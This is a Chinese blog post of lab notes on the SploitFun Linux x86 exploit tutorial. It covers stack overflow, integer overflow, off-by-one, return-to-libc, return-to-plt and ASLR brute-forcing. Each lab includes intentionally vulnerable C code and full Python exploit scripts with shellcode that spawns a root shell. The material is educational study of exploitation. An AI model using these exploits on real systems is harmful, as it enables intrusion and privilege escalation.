《SploitFun Linux x86 Exploit 开发系列教程》学习

0x00:

其实这篇博客是后来上传的了,这居然是我们的网络攻防实验课的作业,当时我选的方向是二进制,《SploitFun Linux x86 Exploit 开发系列教程》这书确实不错,很多基本的二进制漏洞都有了,吐槽下:就是书里面很多二进制漏洞都是用的内存中的绝对地址,这意味着你要自己调试知道地址是多少,还有坑就是如果在你的环境下调试出来的地址带有/x00之类的截断字符,就有可能被截断,然后实验不成功。这里只有前7个实验,实验8未成功,以及之后堆的实验都是需要一定的环境才能复现,有些漏洞现在早已不能使用,建议直接使用ctf题目学习。

实验一:典型的基于堆栈的缓冲区溢出

实验平台:ubuntu 12.04 LTSx86

Glibc**:****(Ubuntu EGLIBC 2.15-0ubuntu10.6) 2.15**

什么是缓冲区溢出? 将源缓冲区复制到目标缓冲区可能导致溢出

1、源字符串长度大于目标字符串长度。

2、不进行大小检查。

缓冲区溢出有两种类型:

1、基于堆栈的缓冲区溢出 - 这里的目标缓冲区位于堆栈中

2、基于堆的缓冲区溢出 - 这里的目标缓冲区位于堆中

漏洞代码:

1
2
3
4
5
6
7
8
9
//vuln.c
#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[]) {
/* [1] */ char buf[256];
/* [2] */ strcpy(buf,argv[1]);
/* [3] */ printf("Input:%s\n",buf);
return 0;
}

1.使用Ubuntu12.04(x86)版本进行编译

image-20210730165935638 image-20210730170014233

2.查看程序里的堆栈布局

gdb调试输入disassemble main

image-20210730170048792

3.测试是否能覆盖返回地址

先通过python输入大量的A

image-20210730170137935

然后通过gdb查看此时eip的地址

image-20210730170157849

可以看到此时eip的地址为0x41414141,41为A在内存里的值,所以eip的地址被输入的A覆盖了。

4.准确覆盖返回地址测试

image-20210730170220140

我们可以知道返回地址的位置是0x100+0x8+0x4=0x10c

其中

0x100 是 ‘buf’ 的大小 0x8 是 对齐空间 0x4 是调用者的ebp

这时候我们可以测试输入268A和4B,我们就可以吧返回地址覆盖成0x42424242

Gdb调试测试如下:

image-20210730170248840

可以看到重新调试之后,eip的地址覆盖成了0x42424242

5.构建exp攻击

首先我们得知道buf的地址,我们先把攻击的的脚本用来输入,再使用gdb调试看返回地址的位置

image-20210730170515205

然后查看栈中shellcode的返回的位置

image-20210730170531756

*ret_addr可以为"\x90"中任意一个地址,"\x90"在shellcode为nop空操作

找到shellcode的位置是0xbffff224,然后将攻击脚本中ret_addr改为0xbffff220

image-20210730170611805

运行即可成功拿到root shell

实验二:整数溢出

实验平台:ubuntu 12.04 LTSx86

Glibc**:****(Ubuntu EGLIBC 2.15-0ubuntu10.6) 2.15**

1. 原理

什么是整数溢出?

存储大于最大支持值的值称为整数溢出。整数溢出本身不会导致任意代码执行,但整数溢出可能会导致堆栈溢出或堆溢出,这可能导致任意代码执行。

数据类型大小及范围:

image-20210730170757200

当我们试图存储一个大于最大支持值的值时,我们的值会被包装 。例如,当我们尝 试将 2147483648 存储到带符号的 int 数据类型时,它将被包装并存储 为 -21471483648 。这被称为整数溢出,这种溢出可能导致任意代码执行 整数下溢 类似地,存储小于最小支持值的值称为整数下溢。例如,当我们尝试 将 -2147483649 存储到带符号的int数据类型时,它将被包装并存储 为 21471483647 .这称为整数下溢。在这里我只会谈论整数溢出,但是这个过程对 于下溢也是一样的!

漏洞代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
//vuln.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void store_passwd_indb(char* passwd) {
}
void validate_uname(char* uname) {
}
void validate_passwd(char* passwd) {
char passwd_buf[11];
unsigned char passwd_len = strlen(passwd); /* [1] */
if(passwd_len >= 4 && passwd_len <= 8) { /* [2] */
printf("Valid Password\n"); /* [3] */
fflush(stdout);
strcpy(passwd_buf,passwd); /* [4] */
} else {
printf("Invalid Password\n"); /* [5] */
fflush(stdout);
}
store_passwd_indb(passwd_buf); /* [6] */
}
int main(int argc, char* argv[]) {
if(argc!=3) {
printf("Usage Error: \n");
fflush(stdout);
exit(-1);
}
validate_uname(argv[1]);
validate_passwd(argv[2]);
return 0;
}

2. 编译以及溢出点

编译指令

image-20210730170859269

漏洞代码中上述漏洞代码的 [1] 行显示了一个整数溢出错误。 strlen 的返回类型

是 size_t ( unsigned int ),它存储在 unsigned char 数据类型中。因

此,任何大于 unsigned char 的最大支持值的值都会导致整数溢出。因此当密码

整数溢出长度为261时,261将被包裹并存储为 passwd_len 变量中的5!由于这个整数溢出,可以绕过行 [2] 执行的边界检查,从而导致基于堆栈的缓冲区溢出!

3. 堆栈和溢出测试

用gdb查看堆栈

                                                      <img src="image-20210730170924024.png" alt="image-20210730170924024" style="zoom:80%;" />
image-20210730170955621

此时堆栈结构为

image-20210730171019424

测试1:是否可以覆盖返回地址?

image-20210730171129071

输入261个A后可以看到返回地址确实成了0x41414141

测试2:目的缓冲区的偏移量是多少?

这里让我们从缓冲区 passwd_buf 中找出什么偏移返回地址。反汇编并绘制了 validate_passwd 的堆栈布局,现在可以尝试找到偏移位置信息!堆栈布局显 示返回地址位于缓冲区 passwd_buf 的偏移( 0x18 )处。 0x18 计算如下:

0xb :passwd_buf 的大小

0x1: passwd_len 的大小

0x4:对齐空间

0x4:edi

0x4:调用者的ebp

测试输入"A" * 24 + “B” * 4 + “C” * 233,用B覆盖返回地址

image-20210730171149653

测试返回地址被覆盖成了0x42424242,说明判断是对的

4.构建exp攻击

通过查看内存可以找到

image-20210730171203079

返回地址的位置在0xbffff20c开始处

我们的攻击脚本中返回地址的选取是在这个返回地址后的100个“\x90”中

我们随机选取一个地址0xbffff240攻击脚本改为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#exp.py
#!/usr/bin/env python
import struct
from subprocess import call
arg1 = "sploitfun"
#Stack address where shellcode is copied.
ret_addr = 0xbffff240
#Spawn a shell
#execve(/bin/sh)
scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
#endianess convertion
def conv(num):
return struct.pack("<I",num)#nk + RA + NOP's + Shellcode
arg2 = "A" * 24
arg2 += conv(ret_addr);
arg2 += "\x90" * 100
arg2 += scode
arg2 += "C" * 108
print "Calling vulnerable program"
call(["./vuln", arg1, arg2])
print arg2

运行测试可以得到rootshell

image-20210730171301037

实验三:Off-By-One 漏洞(基于栈)

实验平台:ubuntu 12.04 LTSx86

Glibc**:****(Ubuntu EGLIBC 2.15-0ubuntu10.6) 2.15**

1. 原理

什么是off by one?

将源字符串复制到目标缓冲区可能会导致off by one 1、源字符串长度等于目标缓冲区长度。 当源字符串长度等于目标缓冲区长度时,单个 NULL 字节将被复制到目标缓冲区上 方。这里由于目标缓冲区位于堆栈中,所以单个 NULL 字节可以覆盖存储在堆栈中 的调用者的EBP的最低有效位(LSB),这可能导致任意的代码执行。
漏洞代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
//vuln.c
#include <stdio.h>
#include <string.h>
void foo(char* arg);
void bar(char* arg);
void foo(char* arg) {
bar(arg); /* [1] */
}
void bar(char* arg) {
char buf[256];
strcpy(buf, arg); /* [2] */
}
int main(int argc, char *argv[]) {
if(strlen(argv[1])>256) { /* [3] */
printf("Attempted Buffer Overflow\n");
fflush(stdout);
return -1;
}
foo(argv[1]); /* [4] */
return 0;
}

2. 编译以及溢出点

编译指令:

image-20210730171628517

上述漏洞代码的第 [2] 行是可能发生off by one溢出的地方。目标缓冲区长度为 256,因此长度为256字节的源字符串可能导致任意代码执行。 如何执行任意代码执行? 使用称为“EBP覆盖”的技术实现任意代码执行。如果调用者的EBP位于目标缓冲区 之上,则在 strcpy 之后,单个 NULL 字节将覆盖调用者EBP的LSB。

用gdb查看堆栈布局

image-20210730171655079

通过这样我们得到的堆栈布局是

image-20210730171725012

这样的

当我们已经知道256字节的用户输入,用空字节可以覆盖 foo 的EBP的LSB。所以 当 foo 的存储在目标缓冲区 buf 之上的EBP被一个 NULL(“\x00”) 字节所覆盖时,ebp 从 0xbffff2d8 变为 0xbffff200 。从堆栈布局我们可以看到堆栈位 置 0xbffff200 是目标缓冲区 buf 的一部分,由于用户输入被复制到该目标缓冲 区,攻击者可以控制这个堆栈位置( 0xbffff200 ),因此他控制指令指针(eip )使用他可以实现任意代码执行。

3.溢出测试

测试步骤1:EBP是否覆盖,从而可能覆盖返回地址

测试输入256个“A”

image-20210730171746339

可以看到eip被覆盖成了0x41414141

测试步骤2:距离目标缓冲区的偏移是多少?

现在,我们可以从目标缓冲区 buf 的起始位置开始找到偏移量,我们需要替换我们的返回地址。记住在off by one 漏洞中,我们不会覆盖堆栈中存储的实际返回地址(像我们在基于堆栈的缓冲区溢出中),而是攻击者控制的目标缓冲区 buf 内的4字节内存区域将被视为返回地址位置(在off by one溢出之后)。因此,我们需要找到这个返回地址位置偏移量(从 buf ),它是目标缓冲区 buf 本身的一部分

通过调试,输入256个a,gdb查看内存发现在0xbffff218位置的ebp的值被覆盖成了0xbffff200

image-20210730171807528

如果ebp的地址为0xbffff200,那我们就知道eip的位置应该为0xbffff204

这个位置距离buf起始位置是0x204-0x118=236,所以我们输入的236个A后面的数就可以覆盖到eip指针

尝试输入

1
r `python -c 'print "A"*236+"B"*4+"C"*16'`

此时的内存空间如下

image-20210730171936781

这个时候0xbffff204的位置刚好被覆盖成了0x42424242,继续运行程序发现eip指针变成了0x42424242

4.构建exp

根据上面测试的内容,我们可以构建这样的exp:

返回地址设定为0xbffff180,buf里的内容先是输入100个A(这时buf应该在0xbffff170左右)然后再接上30个nop指令和shellcode,构建如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/python
# -*- coding: utf-8 -*-
import struct
from subprocess import call
#Spawn a shell.
#execve(/bin/sh) Size- 28 bytes.
scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x90\x90\x90"
ret_addr = 0xbffff180
#endianess conversion
def conv(num):
return struct.pack("<I",num)#nk + RA + NOP's + Shellcode+junk
buf = "A" * 100
buf += "\x90" * 30
buf += scode
buf += "a" * 78
buf += conv(ret_addr)
buf += "A" * 16
#print "Calling vulnerable program"
print buf
#call(["./vuln", buf])

使用gdb调试,然后输入此exp可以拿到rootshell

*理论是正确的,直接运行我就拿不到,不知道为什么

image-20210730172617549

实验四:使用 return-to-libc 绕过 NX 位

实验平台:ubuntu 12.04 LTSx86

Glibc**:****(Ubuntu EGLIBC 2.15-0ubuntu10.6) 2.15**

1. 原理

在以前的帖子中,我们看到了这个攻击者复制shellcode堆栈并跳转到它! 为了成功利用漏洞代码。为了阻止攻击者的行动,安全研究人员提出了一个名 为“NX 位”的漏洞缓解!

什么是NX 位?

它是一种利用缓解技术,使某些内存区域不可执行,并使可执行区域不可写。示 例:使数据,堆栈和堆段不可执行,而代码段不可写。 在NX 位打开的情况下,我们基于堆栈的缓冲区溢出的经典方法将无法利用此漏洞。因为在经典的方法中,shellcode被复制到堆栈中,返回地址指向shellcode。 但是现在由于堆栈不再可执行,我们的漏洞利用失败!

漏洞代码:此代码与以前发布的漏洞代码相同,稍作修改。稍后我会谈谈需要修改的内容。

1
2
3
4
5
6
7
8
9
10
//vuln.c
#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[]) {
char buf[256]; /* [1] */
strcpy(buf,argv[1]); /* [2] */
printf("%s\n",buf); /* [3] */
fflush(stdout); /* [4] */
return 0;
}

2.编译以及溢出点

以下是编译过程,没有添加-z execstack的参数进行编译,说明现在堆栈是不可执行的

image-20210730172751113

这时可以看到堆栈段只包含读写,不能执行

image-20210730173004437

如何绕过NX位并实现任意代码执行?

可以使用叫做“return-to-libc”的攻击技术绕过NX 位。这里返回地址被一个特定的 libc函数地址覆盖(而不是包含shellcode的堆栈地址)。例如,如果攻击者想要生成一个shell,那么他将使用 system 地址覆盖返回地址,并在堆栈中设置 system 所需的相应参数,以便成功调用它。

首先我们得找到system等地址

通过调试可以找到

system地址为0xb7e5f460

Exit地址为0xb7e52fe0

/bin/sh地址为0xb7f81ff8

image-20210730173054568

3. 构建exp攻击

有了上述条件,我们可以构建这样的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#exp.py
#!/usr/bin/env python
import struct
from subprocess import call
system = 0xb7e5f460
exit = 0xb7e52fe0
binsh_arg = 0xb7f81ff8
#endianess conversion
def conv(num):
return struct.pack("<I",num)#system + exit + system_arg
buf = "A" * 268
buf += conv(system)
buf += conv(exit)
buf += conv(binsh_arg)
print bu f
print "Calling vulnerable program"
call(["./vuln", buf])

测试成功拿到rootshell

image-20210730173210271

实验五:使用链式 return-to-libc 绕过 NX 位(未成功)

实验平台:ubuntu 12.04 LTSx86

Glibc**:****(Ubuntu EGLIBC 2.15-0ubuntu10.6) 2.15**

1.原理

漏洞代码:

1
2
3
4
5
6
7
8
9
10
11
12
//vuln.c
#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[]) {
char buf[256];
seteuid(getuid()); /* Temporarily drop privileges */
strcpy(buf,argv[1]);
printf("%s",buf);
fflush(stdout);
return 0;
}

什么是最小权限原则?

此技术允许root setuid程序仅在需要时获取root权限。这指的是当需要时,获得root 权限,当不需要它们时,它将丢弃获得的root权限。正常做法是root setuid程序之 后,用户获取输入之前删除root权限。因此,即使用户输入是恶意的,攻击者也不 会得到root shell。例如下面的漏洞代码不允许攻击者获取root shell。

如上所述,链接 setuid , system 和 exit 将允许我们能够利用漏洞 代码 vuln 。但由于以下两个问题,不是一个直接的任务:

1、在堆栈中的同一位置,攻击者将需要放置libc函数的函数参数或一个libc函数的 函数参数和另一个libc函数的地址,这显然是不可能的(如下图所示)。 2、 seteuid_arg 应为零,但是strcpy遇到\00会结束输入,所以我们得找到一个字符串0的地址来避免这个问题

调用以下libc函数(按照列出的顺序)

seteuid(0)

system(“sh”)

exit()

构建rop链就可以获得root shell。

2.攻击思路

通过leave ret构建假栈帧,执行我们的rop链,因为strcpy函数会对\x00进行截断,我们要构建setuid(0)这个rop链接,只能通过4个sprintf函数把4个\x00拷到栈上。

Leave ret 这个指令汇编是

mov esp ebp

pop ebp

pop eip

通过这几个指令可以把我们伪造的fake_ebp变成下一个栈的栈底,然后执行fake_ebp+4位置的指令,从而可以按顺序执行我们构造的rop链。

我们需要构造4个sprintf函数把\x00拷贝到setuid()函数的参数位置,然后继续构建fake_ebp执行setuid(),system(/bin/sh)就可以拿到rootshell

编译完成后,查看mian函数的堆栈

image-20210730173554156

尝试输入268个A和4个B

image-20210730173611629

可以知道eip的位置还是之前的268个A的后面4位

题目原理是伪造栈,进行栈迁移,然后把0复制到栈上进行操作,但是我实际操作时遇到了诸多问题

  1. 题目中strcpy函数不可以用,但是在我使用的libc上是可用的,可以通过strcpy把libc上strcpy函数的地址复制到栈上,所以题目中用了sprintf函数

  2. 但是实际上在我使用sprintf函数时,它的地址会被截断,无法使用

    image-20210730173658115

这里我sprintf函数的地址是0xb7e6b920,会导致这个函数之后的rop链接复制不了

image-20210730173712364
  1. 实际上我也使用其他乌班图尝试了一下,但是sprintf函数并不能把字符复制到栈上,如下,这里rop链可以执行,但是并不能复制到栈上,我也不知道为什么
image-20210730173731850

这是sprintf的3个参数设定,经过调试知道题中是把0xbffff23c地址的00复制到0xbffff210,0xbffff23c的位置是strcpy截断的\00的位置

image-20210730173811988

实际上这里rop链在sprintf函数中就会突然跳转到一个错误地址然后停止,

image-20210730173833967

基于以上原因,我只能借用了同学的一个可以完成此实验的环境进行调试

这里的sprintf函数地址是0xb7e6cf80,不会被strcpy截断

image-20210730173851194

/bin/sh的地址是0xb7f81ff8

image-20210730173912815

我们构建的栈空间应该是这样的

image-20210730173936029

把构造的exp输入栈后,栈空间是这样的,需要把0xbffff274位置的\x00复制到0xbffff250位置,复制4次,每次加1

image-20210730174002589

Payload脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import struct 
from subprocess import call
fake_ebp0 = 0xbffff1e0
fake_ebp1 = 0xbffff1f8
fake_ebp2 = 0xbffff210
fake_ebp3 = 0xbffff228
fake_ebp4 = 0xbffff244
fake_ebp5 = 0xbffff254
fake_ebp6 = 0xbffff264
fake_ebp7 = 0xbffff274
leave_ret = 0x0804851c
sprintf_addr = 0xb7e6cf80
seteuid_addr = 0xb7f08970
system_addr = 0xb7e5f460
exit_addr = 0xb7e52fe0
sprintf_arg1 = 0xbffff250
sprintf_arg2 = 0x80485f0
sprintf_arg3 = 0xbffff274
binsh_arg = 0xb7f81ff8
exit_arg = 0xffffffff
#endianess convertion
def conv(num):
return struct.pack("<I",num)
buf="A"* 264
buf += conv(fake_ebp0)
buf += conv(leave_ret)
#Below four stack frames are for sprintf (to setup seteuid arg )
buf += conv(fake_ebp1)
buf += conv(sprintf_addr)
buf += conv(leave_ret)
buf += conv(sprintf_arg1)
buf += conv(sprintf_arg2)
buf += conv(sprintf_arg3)
buf += conv(fake_ebp2)
buf += conv(sprintf_addr)
buf += conv(leave_ret)
sprintf_arg1 += 1
buf += conv(sprintf_arg1)
buf += conv(sprintf_arg2)
buf += conv(sprintf_arg3)
buf += conv(fake_ebp3)
buf += conv(sprintf_addr)
buf += conv(leave_ret)
sprintf_arg1 += 1
buf += conv(sprintf_arg1)
buf += conv(sprintf_arg2)
buf += conv(sprintf_arg3)
buf += conv(fake_ebp4)
buf += conv(sprintf_addr)
buf += conv(leave_ret)
sprintf_arg1 += 1
buf += conv(sprintf_arg1)
buf += conv(sprintf_arg2)
buf += conv(sprintf_arg3)
#Dummy - To avoid null byte in fake_ebp4.
buf += "A" * 4
#Below stack frame is for seteuid
buf += conv(fake_ebp5)
buf += conv(seteuid_addr)
buf += conv(leave_ret)
#Dummy - This arg is zero'd by above four sprintf calls
buf += "A" * 4
#Below stack frame is for system
buf += conv(fake_ebp6)
buf += conv(system_addr)
buf += conv(leave_ret)
buf += conv(binsh_arg)
#Below stack frame is for exit
buf += conv(fake_ebp7)
buf += conv(exit_addr)
buf += conv(leave_ret)
buf += conv(exit_arg)
print buf
#print "Calling vulnerable program"
#call(["./vuln", buf])

实验六:绕过ASLR – 第一部分

实验平台:ubuntu 12.04 LTSx86

Glibc**:****(Ubuntu EGLIBC 2.15-0ubuntu10.6) 2.15**

1.原理(书中内容)

什么是 ASLR?

地址空间布局随机化(ASLR)是随机化的利用缓解技术: 堆栈地址 堆地址 共享库地址 一旦上述地址被随机化,特别是当共享库地址被随机化时,我们采取的绕过NX 位的方法不会生效,因为攻击者需要知道libc基地址。但这种缓解技术并不完全是万无一失的。

libc函数地址计算如下:

libc函数地址 = libc 基址 + 函数偏移

什么是return-to-plt?

在这种技术中,而不是返回到libc函数(其地址是随机的)攻击者返回到一个函数的PLT(其地址不是随机的-其地址在执行之前已知)。由于 function@PLT 不是随机的,所以攻击者不再需要预测libc的基地址,而是可以简单地返回到 function@PLT 来调用 function 。

什么是PLT**,如何通过调用 function@PLT** 来调用“函数”?

要了解过程链接表(PLT),先让我简要介绍一下共享库!

与静态库不同,共享库代码段在多个进程之间共享,而其数据段对于每个进程是唯一的。这有助于减少内存和磁盘空间。由于代码段在多个进程之间共享,所以应该只有 read 和 execute 权限,因此动态链接器不能重新定位代码段中存在的数据符号或函数地址(因为它没有写权限)。那么动态链接如何在运行时重新定位共享库符号而不修改其代码段?它使用PIC完成!

什么是PIC**?**

位置无关代码(PIC)是为了解决这个问题而开发的 - 它确保共享库代码段在多个 进程之间共享,尽管在加载时执行重定位。PIC通过一级间接寻址实现这一点-共享 库代码段不包含绝对虚拟地址来代替全局符号和函数引用,而是指向数据段中的特定表。该表是全局符号和函数绝对虚拟地址的占位符。动态链接器作为重定位的一部分来填充此表。因此,只有重定位数据段被修改,代码段保持不变! 动态链接器以两种不同的方式重新定位PIC中发现的全局符号和函数,如下所述:

全局偏移表(GOT**)**: 全局偏移表包含每个全局变量的4字节条目,其中4字节条目包含全局变量的地址。 当代码段中的指令引用全局变量时,而不是全局变量的绝对虚拟地址,指令指向 GOT中条目。当加载共享库时,GOT条目由动态链接器重新定位。因此,PIC使用 该表来重新定位具有单个间接级别的全局符号。

过程链接表(PLT**)**: 过程链接表包含每个全局函数的存根代码。代码段中的调用 指令不直接调用函数( function ),而是调用存根代码 ( function @ PLT )。这个存根代码在动态链接器的帮助下解析了函数地址并将其复制到GOT( GOT [n] )。这次解析仅在函数( function )的第一次调用 期间发生,稍后当代码段中的调用指令调用存根代码( function @PLT )时,而

不是调用动态链接器来解析函数地址( function )存根代码直接从 GOT( GOT [n] )获取功能地址并跳转到它。因此,PIC使用这个表来重新定位 具有两级间接的功能地址。

漏洞代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>
#include <string.h>
/* Eventhough shell() function isnt invoked directly, its needed
here since 'system@PLT' and 'exit@PLT' stub code should be pres
ent in executable to successfully exploit it. */
void shell() {
system("/bin/sh");
exit(0);
}
int main(int argc, char* argv[]) {
int i=0;
char buf[256];
strcpy(buf,argv[1]);
printf("%s\n",buf);
return 0;
}

2.漏洞利用

首先反汇编查看程序

image-20210802102132605

这样可以看到system和exit的地址

然后使用ida查看‘bin/sh’的地址为0x0804850

image-20210802102157354

构建exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#exp.py
#!/usr/bin/env python
import struct
from subprocess import call
system = 0x8048380
exit = 0x80483a0
binsh = 0x080485B0
def conv(num):
return struct.pack("<I",num)#system + exit + system_arg
buf = "A" * 272
buf += conv(system)
buf += conv(exit)
buf += conv(binsh)
print "Calling vulnerable program"
call(["./vuln", buf])

成功得到rootshell

image-20210802102245437

实验七:绕过 ASLR – 第二部分

实验平台:ubuntu 12.04 LTSx86

Glibc**:****(Ubuntu EGLIBC 2.15-0ubuntu10.6) 2.15**

1. 原理

漏洞代码:

1
2
3
4
5
6
7
8
9
10
11
//vuln.c
#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[]) {
char buf[256];
strcpy(buf,argv[1]);
printf("%s\n",buf);
fflush(stdout);
return 0;
}

编译过程:

image-20210802102403136

验证当随机化打开时不同的 Libc 基址:

image-20210802102421800

可以看到,Libc 随机化仅限于3个十六进制位。而且前面只有0xb75和0xb76因此我们可以在最多 256 x2次尝试内,得到 root shell。

所以编写一个循环爆破脚本。

2.找到地址,构建exp

我们先用指令寻找system以及exit的偏移地址

输入readelf -s /lib/i386-linux-gnu/libc.so.6 | grep exit

所以exit的偏移地址是0x00032fe0

输入readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system

image-20210802102441989

得到system的偏移地址0x0003f460

输入strings -a -t x /lib/i386-linux-gnu/libc.so.6 |grep “/bin/sh”

image-20210802102457948

得到/bin/sh的偏移地址是0x161ff8

我们选择一个libc基址为0xb7525000进行爆破

*这里由于自己找到的/bin/sh基址使用会报错,不知道为啥解决不了,只好使用报告里的/bin/sh地址

构建exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/env python
#-*- coding:utf-8 -*-
#exp.py
#!/usr/bin/env python
import struct
from subprocess import call
libc_base_addr = 0xb7525000 #猜测的libc基址
exit_off = 0x00032fe0 #exit偏移
system_off = 0x0003f460 #system偏移
system_addr = libc_base_addr + system_off
exit_addr = libc_base_addr + exit_off
binsh = 0x804827d #bin/sh地址

def conv(num):
return struct.pack("<I",num)#system + exit + system_arg
buf = "A" * 268
buf += conv(system_addr)
buf += conv(exit_addr)
buf += conv(binsh)
print "Calling vulnerable program"
#Multiple tries until we get lucky
i = 0
while (i < 512):
print "Number of tries: %d" %i
i += 1
ret = call(["./vuln", buf])
if (not ret):
break
else:
print "Exploit failed"

如下,循环到365时成功爆破得到rootshell

image-20210802102532162

本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!,本博客仅用于交流学习,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。 文章作者拥有对此站文章的修改和解释权。如欲转载此站文章,需取得作者同意,且必须保证此文章的完整性,包括版权声明等全部内容。未经文章作者允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。若造成严重后果,本人将依法追究法律责任。 阅读本站文章则默认遵守此规则。